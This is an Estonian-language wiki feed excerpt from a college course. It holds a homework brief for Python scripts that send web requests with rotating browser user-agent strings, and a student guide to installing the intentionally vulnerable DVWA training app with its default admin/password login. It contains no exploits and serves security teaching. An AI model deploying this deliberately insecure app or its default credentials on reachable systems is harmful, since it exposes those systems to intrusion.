Näiteks&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://enos.itcollege.ee,robot,kala,Server&lt;br /&gt;
http://enos.itcollege.ee/~mernits/basicauth/kala.html,robot,kala,SIIN EI OLE KALA&lt;br /&gt;
http://robot.itcollege.ee/kala.html,,,KALA&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kui server nõuab basic autentimist, siis kasutad antud kasutajanime ja parooli. Kui server ei nõua autentimist, siis kasutajanime ja parooli ei saadeta.&lt;br /&gt;
&lt;br /&gt;
Kui kasutajanimi ja parool puuduvad, siis kasutajanime ja parooli ei saadeta. (kasutajanimi ja parool ei pea olema kirjas)&lt;br /&gt;
&lt;br /&gt;
Skript teeb päringu iga sisendfaili rea kohta ja kirjutab väljundfaili kujul:&lt;br /&gt;
&lt;br /&gt;
URL,kuupäev-kellaaeg kujul (AAASTA-KUU-PÄEV TUNNID:MINUTID:SEKUNDID),kasutajanimi,parool,otsitav string,OK&lt;br /&gt;
&lt;br /&gt;
Kui päringu vastuses oli otsitav string ja rea: &lt;br /&gt;
&lt;br /&gt;
URL,kuupäev-kellaaeg kujul (AAASTA-KUU-PÄEV TUNNID:MINUTID:SEKUNDID),kasutajanimi,parool,otsitav string,NOK&lt;br /&gt;
&lt;br /&gt;
Kui otsitav string puudus, või kasutajanimi parool oli vale või server ei vastanud (ehk kõik ülejäänud juhud, kui otsitavat stringi ei leitud)&lt;br /&gt;
&lt;br /&gt;
==Kodutöö või arvestuse python skript (neile, kes esitavad selle kuni 28.mai.2013 enne arvestuse algust)==&lt;br /&gt;
&lt;br /&gt;
Looge skript, mis teeb päringuid esimese argumendina antud veebilehe pihta ja vahetab iga päringuga browser stringi, millede nimekiri on ette antud failis data.txt&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Failinimi olgu kujul p2ring.eesnimi.perenimi.py, ehk kirjutad sinna oma nime&lt;br /&gt;
&lt;br /&gt;
Näiteks: ./p2ring.margus.ernits.py http://wiki.itcollege.ee/ &lt;br /&gt;
&lt;br /&gt;
ja data näitesisu:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Mozilla (libwhisker/2.4)&lt;br /&gt;
Mozilla (Mozilla@somewhere.com)&lt;br /&gt;
Mozilla 4.0(compatible; BotSeer/1.0; +http://botseer.ist.psu.edu)&lt;br /&gt;
Mozilla/1.1 (compatible; MSPIE 2.0; Windows CE)&lt;br /&gt;
Mozilla/1.10 [en] (Compatible; RISC OS 3.70; Oregano 1.10)&lt;br /&gt;
Mozilla/1.22 (compatible; MSIE 2.0d; Windows NT)&lt;br /&gt;
Mozilla/1.22 (compatible; MSIE 5.01; PalmOS 3.0)&lt;br /&gt;
Mozilla/2.0 &lt;br /&gt;
Mozilla/2.0 (compatible; AOL 3.0; Mac_PowerPC)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Veatöötlis: Kui faili ei ole või seda ei saa avada, siis skripti väljumiskood (exit code) on 1.&lt;br /&gt;
&lt;br /&gt;
Hindid: urllib2 urllib changing user agent&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Skript saatke õppejõu (Margus Ernits) e-posti aadressile margus.ernitsÄTTitcollege.ee.&lt;br /&gt;
&lt;br /&gt;
NB: Sama ülesannet võib esitada bash arvestustööna, kui kodutöö on olemas.&lt;/div&gt;</summary>
		<author><name>Mernits</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=DVWA&amp;diff=88066</id>
		<title>DVWA</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=DVWA&amp;diff=88066"/>
		<updated>2015-04-06T08:26:17Z</updated>

		<summary type="html">&lt;p&gt;Mernits: /* Allalaadimine ja lahtipakkimine */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Autor==&lt;br /&gt;
&amp;lt;p&amp;gt;&lt;br /&gt;
 &amp;lt;font size=4&amp;gt;Dmitri Šlõkov AK31&amp;lt;/font&amp;gt; &amp;lt;br&amp;gt;&lt;br /&gt;
Esimene versioon 05/05/2012 &amp;lt;br&amp;gt;&lt;br /&gt;
Viimati muudetud &amp;lt;b&amp;gt;{{REVISIONDAY2}}/{{REVISIONMONTH}}/{{REVISIONYEAR}} {{REVISIONUSER}} &#039;i poolt.&amp;lt;br&amp;gt;&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Timestamp &amp;lt;b&amp;gt;({{REVISIONTIMESTAMP}})&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Sissejuhatus==&lt;br /&gt;
Damn Vulnerable Web App (DVWA)on PHP/MySQL veebirakendus mis on turvaauke täis. Selle peamisteks eesmärkideks on olla abiks julgeoleku spetsialistidele oma oskuste ja vahendite testimiseks, ning arendajatele näidiseks kuidas ei tohi oma rakendusi programmeerida.&lt;br /&gt;
&lt;br /&gt;
[[File:Joonis1.png |400px|thumb|right|]]&lt;br /&gt;
&lt;br /&gt;
== Eeldused ==&lt;br /&gt;
&lt;br /&gt;
Eelduseks on arvutisse eelpaigaldatud &amp;lt;B&amp;gt;Apache&amp;lt;/B&amp;gt;, &amp;lt;B&amp;gt;MySQL&amp;lt;/B&amp;gt; andmebaasimootor koos teadaoleva kasutajanimega ja salasõnaga ning &amp;lt;B&amp;gt;PHP&amp;lt;/B&amp;gt; tugi, ning &amp;lt;B&amp;gt;Unzip&amp;lt;/B&amp;gt; arhiivi lahti pakimiseks.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
sudo apt-get install apache2 libapache2-mod-php5 php5-mysql mysql-server unzip -y&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ning tuleb end logida juurkasutajaks&lt;br /&gt;
&amp;lt;pre&amp;gt;sudo -i&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Allalaadimine ja lahtipakkimine ==&lt;br /&gt;
&lt;br /&gt;
[[File:Joonis2.png |400px|thumb|right|]]&lt;br /&gt;
&lt;br /&gt;
[[File:Joonis3.png |400px|thumb|right|]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p&amp;gt;Allalaadimiseks tuleb kasutada käsureas &amp;lt;font size=4&amp;gt;&amp;lt;i&amp;gt;&amp;quot;wget&amp;quot;&amp;lt;/i&amp;gt;&amp;lt;/font&amp;gt; rakendust ja kui kasutate graafilise keskkonnaga süsteemi siis veebilehitseja.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
wget https://codeload.github.com/RandomStorm/DVWA/zip/v1.0.8 -O DVWA-1.0.8.zip&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;Kui &amp;lt;font size=4&amp;gt;&amp;lt;i&amp;gt;Unzip&amp;lt;/i&amp;gt;&#039;i&amp;lt;/font&amp;gt; ei ole siis tuleb see paigaldata käsuga:&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
   apt-get install unzip &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;Pakime lahti arhiivi sisu kasutades käsu:&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
   unzip DVWA-1.0.8.zip&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;Lahtipakitud failid tuleb liigutada Veebiserveri juurkausta :&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
   mv DVWA-1.0.8 /var/www/dvwa&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p&amp;gt;&lt;br /&gt;
Muutke kasutaja ja grupp selliselt, et veebiserveril oleks õigus dvwa kausta kirjutada.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
chown www-data:www-data /var/www/dvwa/ -R&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Andmebaasi loomine ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p&amp;gt;Teeme lahti veebilehitsejaga&amp;lt;/p&amp;gt;&lt;br /&gt;
 http://SERVERI_IP/dvwa/index.php&lt;br /&gt;
&amp;lt;p&amp;gt;Kui vajalikud moodulid on paigaldatud siis ilmub jargmine pilt (Joonis1).&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;Vajutame &amp;lt;font size=4&amp;gt;&amp;lt;i&amp;gt;&amp;quot;here&amp;quot;&amp;lt;/i&amp;gt;&amp;lt;/font&amp;gt; linki peale. &amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;Ette tuleb andmebaasi loomise leht, vajutame &amp;lt;font size=4&amp;gt;&amp;lt;i&amp;gt;&amp;quot;Create / Reset Dataase&amp;quot;.&amp;lt;/i&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;/p&amp;gt;&lt;br /&gt;
Kui MySQL root salasõnaks on midagit muud peale tühja salasõna, siis tuleb veateade &amp;lt;font size=4&amp;gt;&amp;lt;i&amp;gt;&amp;quot;Could not connect to the database - please chack the config file &amp;quot;&amp;lt;/i&amp;gt;&amp;lt;/font&amp;gt;. &lt;br /&gt;
&lt;br /&gt;
Selleks tekstiredaktoriga teeme lahti konfiguratsioonifaili &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
nano /var/www/dvwa/config/config.inc.php&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Seal tuleb ülevaadata MySQL kasutajanimi ja salasõna:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$_DVWA[ &#039;db_user&#039; ] = &#039;root&#039;;&lt;br /&gt;
&lt;br /&gt;
$_DVWA[ &#039;db_password&#039; ] = &#039;TEIE SALASÕNA&#039;;&lt;br /&gt;
&lt;br /&gt;
$_DVWA[ &#039;db_database&#039; ] = &#039;dvwa&#039;;&lt;br /&gt;
&lt;br /&gt;
Salvestamiseks CTRL + X&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p&amp;gt;Kui see tegevus tehtud vajutame uuesti &amp;lt;font size=4&amp;gt;&amp;lt;i&amp;gt;&amp;quot;Create / Reset Dataase&amp;quot;&amp;lt;/i&amp;gt;&amp;lt;/font&amp;gt;&lt;br /&gt;
Kui rekvisiidid olid õigesti sisestatud, siis ilmub järgmine pilt. Kus räägitakse millised tehingud olid teostatud.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Valime vasakpoolsest menüüst &amp;lt;font size=4&amp;gt;&amp;quot;Home&amp;quot;&amp;lt;/font&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Sisselogimine ==&lt;br /&gt;
&lt;br /&gt;
[[File:Joonis4.png |400px|thumb|right|]]&lt;br /&gt;
&amp;lt;p&amp;gt;&lt;br /&gt;
Sisestame :&amp;lt;br&amp;gt;&lt;br /&gt;
Kasutajanimeks : &amp;lt;font size=5&amp;gt;&amp;lt;b&amp;gt;admin&amp;lt;/b&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Salasõnaks : &amp;lt;font size=5&amp;gt;&amp;lt;b&amp;gt;password&amp;lt;/b&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Keerukus taseme valimine ==&lt;br /&gt;
&amp;lt;p&amp;gt;&lt;br /&gt;
Õnnestunud sisselogimise puhul valime menüüst &amp;lt;font size=4&amp;gt;&amp;lt;i&amp;gt;&amp;quot;DVWA Security&amp;quot;&amp;lt;/i&amp;gt;&amp;lt;/font&amp;gt;, selleks et seadistada vajaliku turvaaukude koguse ja kerukuse.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;&lt;br /&gt;
Näiteks &amp;lt;font size=4&amp;gt;&amp;lt;i&amp;gt;&amp;quot;low&amp;quot;&amp;lt;/i&amp;gt;&amp;lt;/font&amp;gt; ning vajutame &amp;lt;font size=4&amp;gt;&amp;lt;i&amp;gt;&amp;quot;Submit&amp;quot;&amp;lt;/i&amp;gt;&amp;lt;/font&amp;gt; nende seadistuste rakendamikesk.&lt;br /&gt;
&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p&amp;gt;&amp;lt;font size=4&amp;gt;&amp;lt;b&amp;gt;&amp;lt;i&amp;gt;Kõik! Rakendus on valmis kasutamiseks.&amp;lt;/i&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Kasutatud allikad==&lt;br /&gt;
&amp;lt;ol&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;http://code.google.com/p/dvwa/wiki/README&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;http://meta.wikimedia.org/wiki/Help:HTML_in_wikitext&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ol&amp;gt;&lt;br /&gt;
[[Category:IT infrastruktuuri teenused]]&lt;/div&gt;</summary>
		<author><name>Mernits</name></author>
	</entry>
</feed>